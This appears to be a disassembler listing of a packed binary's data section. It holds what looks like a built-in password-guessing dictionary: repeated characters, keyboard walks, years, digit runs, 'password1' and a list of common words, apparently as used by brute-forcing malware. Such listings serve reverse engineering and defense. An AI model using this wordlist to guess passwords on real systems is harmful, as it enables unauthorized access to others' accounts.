aO:					; DATA XREF: .nsp0:00427FA8o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: .nsp0:00427FA4o
		align 10h
aNnnnn		db 'nnnnn',0            ; DATA XREF: .nsp0:00427FA0o
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: .nsp0:00427F9Co
		align 10h
aNnn		db 'nnn',0              ; DATA XREF: .nsp0:00427F98o
aNn		db 'nn',0               ; DATA XREF: .nsp0:00427F94o
		align 4
aN:					; DATA XREF: .nsp0:00427F90o
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: .nsp0:00427F8Co
		align 4
aMmmmm		db 'mmmmm',0            ; DATA XREF: .nsp0:00427F88o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: .nsp0:00427F84o
		align 4
aMmm		db 'mmm',0              ; DATA XREF: .nsp0:00427F80o
aMm		db 'mm',0               ; DATA XREF: .nsp0:00427F7Co
		align 4
aM:					; DATA XREF: .nsp0:00427F78o
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: .nsp0:00427F74o
		align 4
aLllll		db 'lllll',0            ; DATA XREF: .nsp0:00427F70o
		align 10h
aLlll		db 'llll',0             ; DATA XREF: .nsp0:00427F6Co
		align 4
aLll		db 'lll',0              ; DATA XREF: .nsp0:00427F68o
aLl		db 'll',0               ; DATA XREF: .nsp0:00427F64o
		align 10h
asc_428420:				; DATA XREF: .nsp0:00427F60o
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: .nsp0:00427F5Co
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: .nsp0:00427F58o
		align 4
aKkkk		db 'kkkk',0             ; DATA XREF: .nsp0:00427F54o
		align 4
aKkk		db 'kkk',0              ; DATA XREF: .nsp0:00427F50o
aKk		db 'kk',0               ; DATA XREF: .nsp0:00427F4Co
		align 4
aK:					; DATA XREF: .nsp0:00427F48o
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: .nsp0:00427F44o
		align 10h
aJjjjj		db 'jjjjj',0            ; DATA XREF: .nsp0:00427F40o
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: .nsp0:00427F3Co
		align 10h
aJjj		db 'jjj',0              ; DATA XREF: .nsp0:00427F38o
aJj		db 'jj',0               ; DATA XREF: .nsp0:00427F34o
		align 4
aJ:					; DATA XREF: .nsp0:00427F30o
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: .nsp0:00427F2Co
		align 4
aIiiii		db 'iiiii',0            ; DATA XREF: .nsp0:00427F28o
		align 4
aIiii		db 'iiii',0             ; DATA XREF: .nsp0:00427F24o
		align 4
aIii		db 'iii',0              ; DATA XREF: .nsp0:00427F20o
aIi		db 'ii',0               ; DATA XREF: .nsp0:00427F1Co
		align 4
aI_0:					; DATA XREF: .nsp0:00427F18o
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: .nsp0:00427F14o
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: .nsp0:00427F10o
		align 10h
aHhhh		db 'hhhh',0             ; DATA XREF: .nsp0:00427F0Co
		align 4
aHhh		db 'hhh',0              ; DATA XREF: .nsp0:00427F08o
aHh		db 'hh',0               ; DATA XREF: .nsp0:00427F04o
		align 10h
asc_4284B0:				; DATA XREF: .nsp0:00427F00o
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: .nsp0:00427EFCo
		align 4
aGgggg		db 'ggggg',0            ; DATA XREF: .nsp0:00427EF8o
		align 4
aGggg		db 'gggg',0             ; DATA XREF: .nsp0:00427EF4o
		align 4
aGgg		db 'ggg',0              ; DATA XREF: .nsp0:00427EF0o
aGg		db 'gg',0               ; DATA XREF: .nsp0:00427EECo
		align 4
aG:					; DATA XREF: .nsp0:00427EE8o
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: .nsp0:00427EE4o
		align 10h
aEeeee		db 'eeeee',0            ; DATA XREF: .nsp0:00427EE0o
		align 4
aEeee		db 'eeee',0             ; DATA XREF: .nsp0:00427EDCo
		align 10h
aEee		db 'eee',0              ; DATA XREF: .nsp0:00427ED8o
aEe		db 'ee',0               ; DATA XREF: .nsp0:00427ED4o
		align 4
aE:					; DATA XREF: .nsp0:00427ED0o
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: .nsp0:00427ECCo
		align 4
aFfff		db 'ffff',0             ; DATA XREF: .nsp0:00427EC8o
		align 4
aFff		db 'fff',0              ; DATA XREF: .nsp0:00427EC4o
aFf		db 'ff',0               ; DATA XREF: .nsp0:00427EC0o
		align 4
aF:					; DATA XREF: .nsp0:00427EBCo
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: .nsp0:00427EB8o
		align 10h
aDddd		db 'dddd',0             ; DATA XREF: .nsp0:00427EB4o
		align 4
aDdd		db 'ddd',0              ; DATA XREF: .nsp0:00427EB0o
aDd		db 'dd',0               ; DATA XREF: .nsp0:00427EACo
		align 10h
aD:					; DATA XREF: .nsp0:00427EA8o
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: .nsp0:00427EA4o
		align 10h
aCccccccc	db 'cccccccc',0         ; DATA XREF: .nsp0:00427EA0o
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: .nsp0:00427E9Co
aCccccc		db 'cccccc',0           ; DATA XREF: .nsp0:00427E98o
		align 4
aCcccc		db 'ccccc',0            ; DATA XREF: .nsp0:00427E94o
		align 4
aCccc_0		db 'cccc',0             ; DATA XREF: .nsp0:00427E90o
		align 4
aCcc		db 'ccc',0              ; DATA XREF: .nsp0:00427E8Co
aCc_1		db 'cc',0               ; DATA XREF: .nsp0:00427E88o
		align 4
aC:					; DATA XREF: .nsp0:00427E84o
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: .nsp0:00427E80o
		align 4
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: .nsp0:00427E7Co
		align 10h
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: .nsp0:00427E78o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: .nsp0:00427E74o
		align 10h
aBbbbb		db 'bbbbb',0            ; DATA XREF: .nsp0:00427E70o
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: .nsp0:00427E6Co
		align 10h
aBbb		db 'bbb',0              ; DATA XREF: .nsp0:00427E68o
aBb		db 'bb',0               ; DATA XREF: .nsp0:00427E64o
		align 4
aB_0:					; DATA XREF: .nsp0:00427E60o
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: .nsp0:00427E5Co
aEdc		db 'edc',0              ; DATA XREF: .nsp0:00427E58o
aWsx		db 'wsx',0              ; DATA XREF: .nsp0:00427E54o
aQaz		db 'qaz',0              ; DATA XREF: .nsp0:00427E50o
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: .nsp0:00427E4Co
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: .nsp0:00427E48o
		align 4
aAsdfghj	db 'asdfghj',0          ; DATA XREF: .nsp0:00427E44o
aAsdfgh		db 'asdfgh',0           ; DATA XREF: .nsp0:00427E40o
		align 4
aAsdfg		db 'asdfg',0            ; DATA XREF: .nsp0:00427E39o
		align 4
aAs		db 'as',0
		align 10h
aZxcvbnm	db 'zxcvbnm',0
aZxcvbn		db 'zxcvbn',0
		align 10h
aZxcvb		db 'zxcvb',0
		align 4
aZxc		db 'zxc',0
aZx		db 'zx',0
		align 10h
aZ:					; DATA XREF: .nsp0:00428080o
		unicode	0, <z>,0
aKonyang	db 'konyang',0
aToyota_0	db 'TOYOTA',0
		align 4
aKor		db 'KOR',0
aKor_0		db 'kor',0
aChi		db 'chi',0
		dd offset byte_494843
aSystem_0	db 'system',0
		align 4
aServices	db 'services',0
		align 4
aServers	db 'servers',0
aServer_1	db 'server',0
		align 4
aQwertyuiop	db 'qwertyuiop',0
		align 4
aQwertyuio	db 'qwertyuio',0
		align 10h
aQwertyui	db 'qwertyui',0
		align 4
aQwertyu	db 'qwertyu',0
aQwe		db 'qwe',0
aQw		db 'qw',0
		align 4
aPassword1	db 'password1',0
		align 4
aPassword	db 'Password',0
		align 4
aAaaaaaaaa	db 'aaaaaaaaa',0
		align 10h
aAaaaaaaa	db 'aaaaaaaa',0
		align 4
aAaaaaaa	db 'aaaaaaa',0
aAaaaaa		db 'aaaaaa',0
		align 4
aAaaaa		db 'aaaaa',0
		align 4
aAaaa		db 'aaaa',0             ; DATA XREF: .nsp0:00427D61o
		align 4
aAa		db 'aa',0
		align 10h
aNokia		db 'NOKIA',0
		align 4
aSex		db 'SEX',0
aCreative	db 'CREATIVE',0
		align 4
aDisc_0		db 'DISC',0
		align 10h
aMicrosoft	db 'MICROSOFT',0
		align 4
aMaster_0	db 'MASTER',0
		align 4
aSony		db 'SONY',0
		align 4
aSamsung	db 'samsung',0
aSamsung_0	db 'SAMSUNG',0
aSony_0		db 'sony',0
		align 4
a7654321	db '7654321',0
a4321		db '4321',0
		align 4
a321		db '321',0
a2006		db '2006',0
		align 10h
a2005		db '2005',0
		align 4
a2004		db '2004',0
		align 10h
a2001		db '2001',0             ; DATA XREF: .nsp0:00427CFCo
		align 4
a2000		db '2000',0             ; DATA XREF: .nsp0:00427CF8o
		align 10h
a1999		db '1999',0             ; DATA XREF: .nsp0:00427CF4o
		align 4
a1998		db '1998',0             ; DATA XREF: .nsp0:00427CF0o
		align 10h
a1997		db '1997',0             ; DATA XREF: .nsp0:00427CECo
		align 4
a1996		db '1996',0             ; DATA XREF: .nsp0:00427CE8o
		align 10h
a1995		db '1995',0             ; DATA XREF: .nsp0:00427CE4o
		align 4
a1994		db '1994',0             ; DATA XREF: .nsp0:00427CE0o
		align 10h
a1993		db '1993',0             ; DATA XREF: .nsp0:00427CDCo
		align 4
a1992		db '1992',0             ; DATA XREF: .nsp0:00427CD8o
		align 10h
a1991		db '1991',0             ; DATA XREF: .nsp0:00427CD4o
		align 4
a1990		db '1990',0             ; DATA XREF: .nsp0:00427CD0o
		align 10h
a1989		db '1989',0             ; DATA XREF: .nsp0:00427CCCo
		align 4
a1988		db '1988',0             ; DATA XREF: .nsp0:00427CC8o
		align 10h
a1987		db '1987',0             ; DATA XREF: .nsp0:00427CC4o
		align 4
a1986		db '1986',0             ; DATA XREF: .nsp0:00427CC0o
		align 10h
a1985		db '1985',0             ; DATA XREF: .nsp0:00427CBCo
		align 4
a1984		db '1984',0             ; DATA XREF: .nsp0:00427CB8o
		align 10h
a1983		db '1983',0             ; DATA XREF: .nsp0:00427CB4o
		align 4
a1982		db '1982',0             ; DATA XREF: .nsp0:00427CB0o
		align 10h
a1981		db '1981',0             ; DATA XREF: .nsp0:00427CACo
		align 4
a1980		db '1980',0             ; DATA XREF: .nsp0:00427CA8o
		align 10h
a1979		db '1979',0             ; DATA XREF: .nsp0:00427CA4o
		align 4
a1978		db '1978',0             ; DATA XREF: .nsp0:00427CA0o
		align 10h
a1977		db '1977',0             ; DATA XREF: .nsp0:00427C9Co
		align 4
a1976		db '1976',0             ; DATA XREF: .nsp0:00427C98o
		align 10h
a1975		db '1975',0             ; DATA XREF: .nsp0:00427C94o
		align 4
a1974		db '1974',0             ; DATA XREF: .nsp0:00427C90o
		align 10h
a1973		db '1973',0             ; DATA XREF: .nsp0:00427C8Co
		align 4
a1972		db '1972',0             ; DATA XREF: .nsp0:00427C88o
		align 10h
a1971		db '1971',0             ; DATA XREF: .nsp0:00427C84o
		align 4
a1970		db '1970',0             ; DATA XREF: .nsp0:00427C80o
		align 10h
a1969		db '1969',0             ; DATA XREF: .nsp0:00427C7Co
		align 4
a1968		db '1968',0             ; DATA XREF: .nsp0:00427C78o
		align 10h
a1967		db '1967',0             ; DATA XREF: .nsp0:00427C74o
		align 4
a1966		db '1966',0             ; DATA XREF: .nsp0:00427C70o
		align 10h
a1965		db '1965',0             ; DATA XREF: .nsp0:00427C6Co
		align 4
a1964		db '1964',0             ; DATA XREF: .nsp0:00427C68o
		align 10h
a1963		db '1963',0             ; DATA XREF: .nsp0:00427C64o
		align 4
a1962		db '1962',0             ; DATA XREF: .nsp0:00427C60o
		align 10h
a1961		db '1961',0             ; DATA XREF: .nsp0:00427C5Co
		align 4
a1960		db '1960',0             ; DATA XREF: .nsp0:00427C58o
		align 10h
a1959		db '1959',0             ; DATA XREF: .nsp0:00427C54o
		align 4
a1958		db '1958',0             ; DATA XREF: .nsp0:00427C50o
		align 10h
a1957		db '1957',0             ; DATA XREF: .nsp0:00427C4Co
		align 4
a1956		db '1956',0             ; DATA XREF: .nsp0:00427C48o
		align 10h
a1955		db '1955',0             ; DATA XREF: .nsp0:00427C44o
		align 4
a1954		db '1954',0             ; DATA XREF: .nsp0:00427C40o
		align 10h
a1953		db '1953',0             ; DATA XREF: .nsp0:00427C3Co
		align 4
a1952		db '1952',0             ; DATA XREF: .nsp0:00427C38o
		align 10h
a1234qwe	db '1234qwe',0          ; DATA XREF: .nsp0:00427C34o
a1234asd	db '1234asd',0          ; DATA XREF: .nsp0:00427C30o
a1234abc	db '1234abc',0          ; DATA XREF: .nsp0:00427C2Co
a123qwer	db '123qwer',0          ; DATA XREF: .nsp0:00427C18o
a12qwe		db '12qwe',0            ; DATA XREF: .nsp0:00427C14o
		align 4
a12asd		db '12asd',0            ; DATA XREF: .nsp0:00427C10o
		align 10h
a12abc		db '12abc',0            ; DATA XREF: .nsp0:00427C0Co
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: .nsp0:00427C08o
		align 10h
a1qwe		db '1qwe',0             ; DATA XREF: .nsp0:00427C04o
		align 4
a1asd		db '1asd',0             ; DATA XREF: .nsp0:00427C00o
		align 10h
a1abc		db '1abc',0             ; DATA XREF: .nsp0:00427BFCo
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: .nsp0:00427BF8o
		align 10h
a123467890	db '123467890',0        ; DATA XREF: .nsp0:00427BF4o
		align 4
a12346789	db '12346789',0         ; DATA XREF: .nsp0:00427BF0o
		align 4
a1234678	db '1234678',0          ; DATA XREF: .nsp0:00427BECo
a123467		db '123467',0           ; DATA XREF: .nsp0:00427BE8o
		align 4
a12346		db '12346',0            ; DATA XREF: .nsp0:00427BE4o
		align 10h
a121		db '121',0              ; DATA XREF: .nsp0:00427BBCo
a1020		db '1020',0             ; DATA XREF: .nsp0:00427BB4o
		align 4
a0258		db '0258',0             ; DATA XREF: .nsp0:00427BB0o
		align 4
a8520		db '8520',0             ; DATA XREF: .nsp0:00427BACo
		align 4
a987		db '987',0              ; DATA XREF: .nsp0:00427BA8o
a789		db '789',0              ; DATA XREF: .nsp0:00427BA4o
a654		db '654',0              ; DATA XREF: .nsp0:00427BA0o
a456		db '456',0              ; DATA XREF: .nsp0:00427B9Co
a1122		db '1122',0             ; DATA XREF: .nsp0:00427B98o
		align 4
a0147		db '0147',0             ; DATA XREF: .nsp0:00427B94o
		align 4
a7410		db '7410',0             ; DATA XREF: .nsp0:00427B90o
		align 4
a9999999999	db '9999999999',0       ; DATA XREF: .nsp0:00427B88o
		align 10h
a999999999	db '999999999',0        ; DATA XREF: .nsp0:00427B84o
		align 4
a99999999	db '99999999',0         ; DATA XREF: .nsp0:00427B80o
		align 4
a9999999	db '9999999',0          ; DATA XREF: .nsp0:00427B7Co
a999999		db '999999',0           ; DATA XREF: .nsp0:00427B78o
		align 4
a99999		db '99999',0            ; DATA XREF: .nsp0:00427B74o
		align 10h
a9999		db '9999',0             ; DATA XREF: .nsp0:00427B70o
		align 4
a999		db '999',0              ; DATA XREF: .nsp0:00427B6Co
a99		db '99',0               ; DATA XREF: .nsp0:00427B68o
		align 10h
a9:					; DATA XREF: .nsp0:00427B64o
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: .nsp0:00427B60o
		align 10h
a888888888	db '888888888',0        ; DATA XREF: .nsp0:00427B5Co
		align 4
a8888888	db '8888888',0          ; DATA XREF: .nsp0:00427B54o
a888888		db '888888',0           ; DATA XREF: .nsp0:00427B50o
		align 4
a88888		db '88888',0            ; DATA XREF: .nsp0:00427B4Co
		align 4
a8888		db '8888',0             ; DATA XREF: .nsp0:00427B48o
		align 4
a888		db '888',0              ; DATA XREF: .nsp0:00427B44o
a88		db '88',0               ; DATA XREF: .nsp0:00427B40o
		align 4
a8:					; DATA XREF: .nsp0:00427B3Co
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: .nsp0:00427B38o
		align 4
a777777777	db '777777777',0        ; DATA XREF: .nsp0:00427B34o
		align 10h
a77777777	db '77777777',0         ; DATA XREF: .nsp0:00427B30o
		align 4
a7777777	db '7777777',0          ; DATA XREF: .nsp0:00427B2Co
a777777		db '777777',0           ; DATA XREF: .nsp0:00427B28o
		align 4
a77777		db '77777',0            ; DATA XREF: .nsp0:00427B24o
		align 4
a7777		db '7777',0             ; DATA XREF: .nsp0:00427B20o
		align 4
a777		db '777',0              ; DATA XREF: .nsp0:00427B1Co
a77		db '77',0               ; DATA XREF: .nsp0:00427B18o
		align 4
a7:					; DATA XREF: .nsp0:00427B14o
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: .nsp0:00427B10o
		align 4
a666666666	db '666666666',0        ; DATA XREF: .nsp0:00427B0Co
		align 10h
a66666666	db '66666666',0         ; DATA XREF: .nsp0:00427B08o
		align 4
a6666666	db '6666666',0          ; DATA XREF: .nsp0:00427B04o
a666666		db '666666',0           ; DATA XREF: .nsp0:00427B00o
		align 4
a66666		db '66666',0            ; DATA XREF: .nsp0:00427AFCo
		align 4
a6666		db '6666',0             ; DATA XREF: .nsp0:00427AF8o
		align 4
a666		db '666',0              ; DATA XREF: .nsp0:00427AF4o
a66		db '66',0               ; DATA XREF: .nsp0:00427AF0o
		align 4
a6:					; DATA XREF: .nsp0:00427AECo
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: .nsp0:00427AE8o
		align 4
a555555555	db '555555555',0        ; DATA XREF: .nsp0:00427AE4o
		align 10h
a55555555	db '55555555',0         ; DATA XREF: .nsp0:00427AE0o
		align 4
a5555555	db '5555555',0          ; DATA XREF: .nsp0:00427ADCo
a555555		db '555555',0           ; DATA XREF: .nsp0:00427AD8o
		align 4
a55555		db '55555',0            ; DATA XREF: .nsp0:00427AD4o
		align 4
a5555		db '5555',0             ; DATA XREF: .nsp0:00427AD0o
		align 4
a555		db '555',0              ; DATA XREF: .nsp0:00427ACCo
a55		db '55',0               ; DATA XREF: .nsp0:00427AC8o
		align 4
a5:					; DATA XREF: .nsp0:00427AC4o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: .nsp0:00427AC0o
		align 4
a444444444	db '444444444',0        ; DATA XREF: .nsp0:00427ABCo
		align 10h
a44444444	db '44444444',0         ; DATA XREF: .nsp0:00427AB8o
		align 4
a4444444	db '4444444',0          ; DATA XREF: .nsp0:00427AB4o
a444444		db '444444',0           ; DATA XREF: .nsp0:00427AB0o
		align 4
a44444		db '44444',0            ; DATA XREF: .nsp0:00427AACo
		align 4
a4444		db '4444',0             ; DATA XREF: .nsp0:00427AA8o
		align 4
a444		db '444',0              ; DATA XREF: .nsp0:00427AA4o
a44		db '44',0               ; DATA XREF: .nsp0:00427AA0o
		align 4
a4:					; DATA XREF: .nsp0:00427A9Co
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: .nsp0:00427A98o
		align 4
a333333333	db '333333333',0        ; DATA XREF: .nsp0:00427A94o
		align 10h
a33333333	db '33333333',0         ; DATA XREF: .nsp0:00427A90o
		align 4
a3333333	db '3333333',0          ; DATA XREF: .nsp0:00427A8Co
a333333		db '333333',0           ; DATA XREF: .nsp0:00427A88o
		align 4
a33333		db '33333',0            ; DATA XREF: .nsp0:00427A84o
		align 4
a3333		db '3333',0             ; DATA XREF: .nsp0:00427A80o
		align 4
a333		db '333',0              ; DATA XREF: .nsp0:00427A7Co
a33		db '33',0               ; DATA XREF: .nsp0:00427A78o
		align 4
a3:					; DATA XREF: .nsp0:00427A74o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: .nsp0:00427A70o
		align 4
a222222222	db '222222222',0        ; DATA XREF: .nsp0:00427A6Co
		align 10h
a22222222	db '22222222',0         ; DATA XREF: .nsp0:00427A68o
		align 4
a2222222	db '2222222',0          ; DATA XREF: .nsp0:00427A64o
a222222		db '222222',0           ; DATA XREF: .nsp0:00427A60o
		align 4
a22222		db '22222',0            ; DATA XREF: .nsp0:00427A5Co
		align 4
a2222		db '2222',0             ; DATA XREF: .nsp0:00427A58o
		align 4
a222		db '222',0              ; DATA XREF: .nsp0:00427A54o
a22		db '22',0               ; DATA XREF: .nsp0:00427A50o
		align 4
a2:					; DATA XREF: .nsp0:00427A4Co
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: .nsp0:00427A48o
		align 4
a111111111	db '111111111',0        ; DATA XREF: .nsp0:00427A44o
		align 10h
a1111111	db '1111111',0          ; DATA XREF: .nsp0:00427A3Co
a11111		db '11111',0            ; DATA XREF: .nsp0:00427A34o
		align 10h
a1111		db '1111',0             ; DATA XREF: .nsp0:00427A30o
		align 4
a11		db '11',0               ; DATA XREF: .nsp0:00427A28o
		align 4
a010		db '010',0              ; DATA XREF: .nsp0:00427A18o
a009		db '009',0              ; DATA XREF: .nsp0:00427A14o
a008		db '008',0              ; DATA XREF: .nsp0:00427A10o
a006		db '006',0              ; DATA XREF: .nsp0:00427A08o
a005		db '005',0              ; DATA XREF: .nsp0:0040A54Eo
					; .nsp0:00427A04o
a004		db '004',0              ; DATA XREF: .nsp0:00427A00o
a003		db '003',0              ; DATA XREF: .nsp0:004279FCo
a002		db '002',0              ; DATA XREF: .nsp0:004279F8o
a001		db '001',0              ; DATA XREF: .nsp0:0040A539o
					; .nsp0:004279F4o
asc_428CA0	db '*********',0        ; DATA XREF: .nsp0:004279F0o
		align 4
asc_428CAC	db '********',0         ; DATA XREF: .nsp0:004279ECo
		align 4
asc_428CB8	db '*******',0          ; DATA XREF: .nsp0:004279E8o
asc_428CC0	db '******',0           ; DATA XREF: .nsp0:004279E4o
		align 4
asc_428CC8	db '*****',0            ; DATA XREF: .nsp0:004279E0o
		align 10h
asc_428CD0	db '****',0             ; DATA XREF: .nsp0:004279DCo
		align 4
asc_428CD8	db '***',0              ; DATA XREF: .nsp0:004279D8o
asc_428CDC	db '**',0               ; DATA XREF: .nsp0:004279D4o
		align 10h
a0000000000	db '0000000000',0       ; DATA XREF: .nsp0:004279CCo
		align 4
a000000000	db '000000000',0        ; DATA XREF: .nsp0:004279C8o
		align 4
a@		db '@!',0               ; DATA XREF: .nsp0:004279A8o
		align 4
a@_0		db '#@!',0              ; DATA XREF: .nsp0:004279A4o
a@_1		db '$#@!',0             ; DATA XREF: .nsp0:004279A0o
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: .nsp0:0042799Co
		align 10h
a@_3		db '^%$#@!',0           ; DATA XREF: .nsp0:00427998o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: .nsp0:00427994o
a@_5		db '*&^%$#@!',0         ; DATA XREF: .nsp0:00427990o
		align 4
asc_428D2C	db '$$$',0              ; DATA XREF: .nsp0:0042798Co
asc_428D30	db '$$',0               ; DATA XREF: .nsp0:00427988o
		align 4
asc_428D34:				; DATA XREF: .nsp0:00427984o
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: .nsp0:00427980o
		align 10h
a789_0		db '789+',0             ; DATA XREF: .nsp0:0042797Co
		align 4
a0		db '=-0',0              ; DATA XREF: .nsp0:00427978o
asc_428D4C	db '--++',0             ; DATA XREF: .nsp0:00427974o
		align 4
asc_428D54	db '-+',0               ; DATA XREF: .nsp0:00427970o
		align 4
asc_428D58	db '----',0             ; DATA XREF: .nsp0:0042796Co
		align 10h
asc_428D60	db '--',0               ; DATA XREF: .nsp0:00427964o
					; .nsp0:00427968o
		align 4
asc_428D64:				; DATA XREF: .nsp0:00427960o
		unicode	0, <->,0
asc_428D68	db '++++',0             ; DATA XREF: .nsp0:0042795Co
		align 10h
asc_428D70	db '+++',0              ; DATA XREF: .nsp0:00427958o
asc_428D74	db '++',0               ; DATA XREF: .nsp0:00427954o
		align 4
asc_428D78:				; DATA XREF: .nsp0:00427950o
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: .nsp0:0042794Co
		align 10h
a@_6:					; DATA XREF: .nsp0:0040A573o
					; .nsp0:00427948o
		unicode	0, <@>,0
off_428D84	dd offset loc_40211D+4	; DATA XREF: .nsp0:00427944o
dword_428D88	dd 2121h	dword_428D8C	dd 24234021h, 2A265E25h, 0dword_428D98	dd 24234021h, 265E25hdword_428DA0	dd 24234021h, 5E25hdword_428DA8	dd 24234021h, 25hdword_428DB0	dd 234021h	dword_428DB4	dd 4021h	dword_428DB8	dd 21h							; .nsp0:0040F7F8o ...
dword_428DBC	dd 25h		aZimmerman	db 'zimmerman',0        ; DATA XREF: .nsp0:00427918o
		align 4
aZap		db 'zap',0              ; DATA XREF: .nsp0:00427914o
aYellowstone	db 'yellowstone',0      ; DATA XREF: .nsp0:00427910o
aXyz		db 'xyz',0              ; DATA XREF: .nsp0:0042790Co
aWisconsin	db 'wisconsin',0        ; DATA XREF: .nsp0:00427908o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: .nsp0:00427904o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: .nsp0:00427900o
		align 4
aTty		db 'tty',0              ; DATA XREF: .nsp0:004278FCo
aTopography	db 'topography',0       ; DATA XREF: .nsp0:004278F8o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: .nsp0:004278F4o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: .nsp0:004278F0o
		align 10h
aTangerine	db 'tangerine',0        ; DATA XREF: .nsp0:004278ECo
		align 4
aSys		db 'sys',0              ; DATA XREF: .nsp0:004278E8o
aSupported	db 'supported',0        ; DATA XREF: .nsp0:004278E4o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: .nsp0:004278E0o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: .nsp0:004278DCo
		align 4
aSun		db 'sun',0              ; DATA XREF: .nsp0:004278D8o
aStuttgart	db 'stuttgart',0        ; DATA XREF: .nsp0:004278D4o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: .nsp0:004278D0o
		align 10h
aStephanie	db 'stephanie',0        ; DATA XREF: .nsp0:004278CCo
		align 4
aSignature	db 'signature',0        ; DATA XREF: .nsp0:004278C8o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: .nsp0:004278C4o
		align 4
aSal		db 'sal',0              ; DATA XREF: .nsp0:004278C0o
aRochester	db 'rochester',0        ; DATA XREF: .nsp0:004278BCo
		align 4
aRje		db 'rje',0              ; DATA XREF: .nsp0:004278B8o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: .nsp0:004278B4o
		align 4
aPub		db 'pub',0              ; DATA XREF: .nsp0:004278B0o
aProfessor	db 'professor',0        ; DATA XREF: .nsp0:004278ACo
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: .nsp0:004278A8o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: .nsp0:004278A4o
		align 10h
aPolynomial	db 'polynomial',0       ; DATA XREF: .nsp0:004278A0o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: .nsp0:0042789Co
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: .nsp0:00427898o
		align 4
aPam		db 'pam',0              ; DATA XREF: .nsp0:00427894o
aPad		db 'pad',0              ; DATA XREF: .nsp0:00427890o
aOceanography	db 'oceanography',0     ; DATA XREF: .nsp0:0042788Co
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: .nsp0:00427888o
		align 4
aNew		db 'new',0              ; DATA XREF: .nsp0:00427884o
aNet		db 'net',0              ; DATA XREF: .nsp0:00427880o
aMit		db 'mit',0              ; DATA XREF: .nsp0:0042787Co
aMgr		db 'mgr',0              ; DATA XREF: .nsp0:00427878o
aMacintosh	db 'macintosh',0        ; DATA XREF: .nsp0:00427874o
		align 4
aLiz		db 'liz',0              ; DATA XREF: .nsp0:00427870o
aLee		db 'lee',0              ; DATA XREF: .nsp0:0042786Co
aLamination	db 'lamination',0       ; DATA XREF: .nsp0:00427868o
		align 4
aKim		db 'kim',0              ; DATA XREF: .nsp0:00427864o
aKey		db 'key',0              ; DATA XREF: .nsp0:00427860o
aJoy		db 'joy',0              ; DATA XREF: .nsp0:0042785Co
aJen		db 'jen',0              ; DATA XREF: .nsp0:00427858o
aInnocuous	db 'innocuous',0        ; DATA XREF: .nsp0:00427854o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: .nsp0:00427850o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: .nsp0:0042784Co
aHappening	db 'happening',0        ; DATA XREF: .nsp0:00427848o
		align 10h
aHal		db 'hal',0              ; DATA XREF: .nsp0:00427844o
aGnu		db 'gnu',0              ; DATA XREF: .nsp0:00427840o
aFun		db 'fun',0              ; DATA XREF: .nsp0:0042783Co
aForesight	db 'foresight',0        ; DATA XREF: .nsp0:00427838o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: .nsp0:00427834o
		align 4
aExtension	db 'extension',0        ; DATA XREF: .nsp0:00427830o
		align 10h
aEstablish	db 'establish',0        ; DATA XREF: .nsp0:0042782Co
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: .nsp0:00427828o
		align 4
